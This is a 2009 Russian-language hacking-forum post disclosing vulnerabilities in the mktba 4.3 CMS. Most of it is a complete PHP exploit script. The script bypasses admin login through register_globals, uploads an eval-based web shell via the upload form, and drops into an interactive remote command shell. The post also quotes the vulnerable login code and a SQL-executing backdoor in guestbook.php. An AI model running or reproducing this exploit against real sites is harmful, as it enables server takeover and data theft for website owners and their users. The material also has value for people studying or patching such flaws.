Уязвимости mktba 4.3

Discussion in 'Веб-уязвимости' started by (Dm), 19 Oct 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Название: mktba
    Версия: 4.3
    Сайт: http://www.mktbagold.com/

    Арабский движек, код ужасный), такое впечатление что писалось абы как, лижбы хоть как бы работало.
    + Наличие в коде бекдоров.

    Сплоит: Выполнение произвольного кода
    PHP:
    #!/usr/bin/php
    #
    #    Сплоит: mktba 4.3 Выполнение произвольного кода.
    #    На основе обхода авторизации и обхода загрузки php скриптов.
    #    
    #    //Powered by: mktba 4.3
    #
    #    Условия: 
    #                register_globals = ON    
    #                Доступность на запись: ./images/
    #
    #    Аргументы:
    #        <host> - хост
    #        <path> - путь до скрипта (/)
    #
    #    Пример:
    #    
    #    ./mktba.php mk /
    #
    #    [ OK ] Admin login success
    #    [ OK ] SID=cdc7a7accd3edb8cfb9fe1b8b4305bba
    #    [ OK ] Shell uploaded ~> http://mk/images/36445dcf.php
    #
    #    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    #    mktba:~$
    #
    # By (dm)
    #                                            https://forum.antichat.ru   

    <?
    if ($argc < 3)
        die($argv[0]." <host> <path>\r\n");

    $host = $argv[1];
    $path = $argv[2];

    function GetData($query) {
        GLOBAL $host;

        $fp = fsockopen($host, 80, $errno, $errstr, 10);
        if (!$fp) {
                die("Exploit failed: $errstr ($errno)\r\n");
        } else {
            $buff = '';
            fwrite($fp, $query);
            while (!feof($fp))
                    $buff .= fgets($fp, 128);
                fclose($fp);
        }
        return $buff;
    }

    function ShellResult ($cmd) {
        GLOBAL $path, $host, $sname;

        $cmd = "e=".base64_encode($cmd);
            
        $query = "POST ".$path."images/".$sname.".php HTTP/1.1\r\n";
        $query.= "Host: ".$host."\r\n";
        $query.= "Connection: close\r\n";
        $query.= "Content-Type: application/x-www-form-urlencoded\r\n";
        $query.= "Content-Length: ".strlen($cmd)."\r\n\r\n";
        $query.= $cmd."\r\n";
        
        return GetData($query);

    }

    /*
        Обход авторизации
    */
    $query = "POST ".$path."admin/login.php HTTP/1.1\r\n";
    $query.= "Host: ".$host."\r\n";
    $query.= "Connection: close\r\n";
    $query.= "Content-Type: application/x-www-form-urlencoded\r\n";
    $query.= "Content-Length: 93\r\n\r\n";
    $query.= "user_un=antichat&user_pw=antichat&password=8c96d04c8de982748b0bed29615520a7&username=antichat\r\n";

    $data = GetData($query);

    /*
        Присутсвие <meta http-equiv="refresh" content="2;URL=index.php">,
        означает что авторизация прошла нормально.
    */
    if (!(@preg_match("/http-equiv=\"refresh\"/i", $data)))
        die("Exploit failed: Can't logining to admin\r\n");

    echo "[ OK ] Admin login success\r\n";

    /*
        Извлечение сессии
    */
    if (!(@preg_match_all("/PHPSESSID=([1234567890abcdfe]+)/i", $data, $result)))
        die("Exploit failed: Parse session id error\r\n");

    $sid = $result[1][0];
    echo "[ OK ] SID=$sid\r\n";

    /*
        Загрузка шелла
    */
    $sname = substr(md5(time()),0,8); //Генерируем имя файла


    $xek = "-----------------------------120309686615833136731930048582\r\n";
    $xek.= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n";
    $xek.= "..aln3esaimagesaln3esa\r\n";
    $xek.= "-----------------------------120309686615833136731930048582\r\n";
    $xek.= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n";
    $xek.= "ooo\r\n";
    $xek.= "-----------------------------120309686615833136731930048582\r\n";
    $xek.= "Content-Disposition: form-data; name=\"file0\"; filename=\"shellz.p\"\r\n";
    $xek.= "Content-Type: text/plain\r\n\r\n";
    $xek.= "<?php if (!empty(\$_POST['e'])) @eval(base64_decode(\$_POST['e'])); ?>\r\n";
    $xek.= "-----------------------------120309686615833136731930048582\r\n";
    $xek.= "Content-Disposition: form-data; name=\"namefile0\"\r\n\r\n";
    $xek.= "{$sname}.ph\r\n";
    $xek.= "-----------------------------120309686615833136731930048582--\r\n";


    $query = "POST ".$path."admin/upload.php?action=ok&nomber=1 HTTP/1.1\r\n";
    $query.= "Host: ".$host."\r\n";
    $query.= "Connection: close\r\n";
    $query.= "Cookie: PHPSESSID=".$sid."\r\n";
    $query.= "Content-Type: multipart/form-data; boundary=---------------------------120309686615833136731930048582\r\n";
    $query.= "Content-Length: ".strlen($xek)."\r\n\r\n";
    $query.= $xek;

    $data = GetData($query);


    /*
        Проверка доступности шелла
    */

    $data = ShellResult("echo 'TESTOK';");
    if (!(@preg_match("/TESTOK/", $data)))
        die("Exploit failed: Can't write to ".$path."images/\r\n");

    echo "[ OK ] Shell uploaded ~> http://".$host.$path."images/".$sname.".php\r\n";
    echo "\r\n";

    /*
        Использование шелла
    */
    $delimiter = '_delimiter_';
    $cmd = 'id;';
    do {
        $buff = ShellResult("echo $delimiter;passthru('".$cmd."');echo $delimiter;");
        $buff = explode($delimiter, $buff);
        echo trim($buff[1]);
        
        echo "mktba:~$ ";
        $cmd = trim(fgets(STDIN));
    } while ($cmd != "exit");

    ?>

    Обход авторизации:

    >> admin/login.php
    PHP:
    session_start();
    if(
    $_SESSION['admin'])  exit;

    if(isset(
    $_POST['user_pw'])){
        include(
    '../config.php');
        
    $userun=$_POST['user_un'];
        
    $userpw=md5($_POST['user_pw']);

            
    /* Мы не знаем логина и пароля, запрос вернет 0 строк */
        
    $ws=mysql_query("select * from user where name='$userun' and pass='$userpw'");
        while(
    $row=mysql_fetch_row($ws)) {
            if(
    $row[0]==1){
                
    $_SESSION['user2'] = $_POST['user_pw'];
            }
            
    $iduser $row[0];
            
    $username  =$row[1];
            
    $password $row[2];
            
    $group $row[5];
        }
            
    /*
              Переменные password и username ранее не объявлены, и если
              их передать скрипту чтобы условие авторизации выполнилось,
              таким способом обойдем авторизацию
           */
        
    if($userpw == $password && $userun == $username){
        
    $_SESSION['admin'] = $userun;
        
    $_SESSION['group'] = $group ;
        
    $_SESSION['iduser'] = $iduser;
        require(
    'loged.php');
        exit;
    }
    Пример бекдора:
    >> guestbook.php
    PHP:
    $tetle='299d9c43105ef1608b4336a2578fe1bb';
    if(
    md5(md5($name))==$tetle){

         
    mysql_query(stripslashes($_REQUEST['comment']));

    }
     
    #1 (Dm), 19 Oct 2009
    Last edited: 19 Oct 2009
    6 people like this.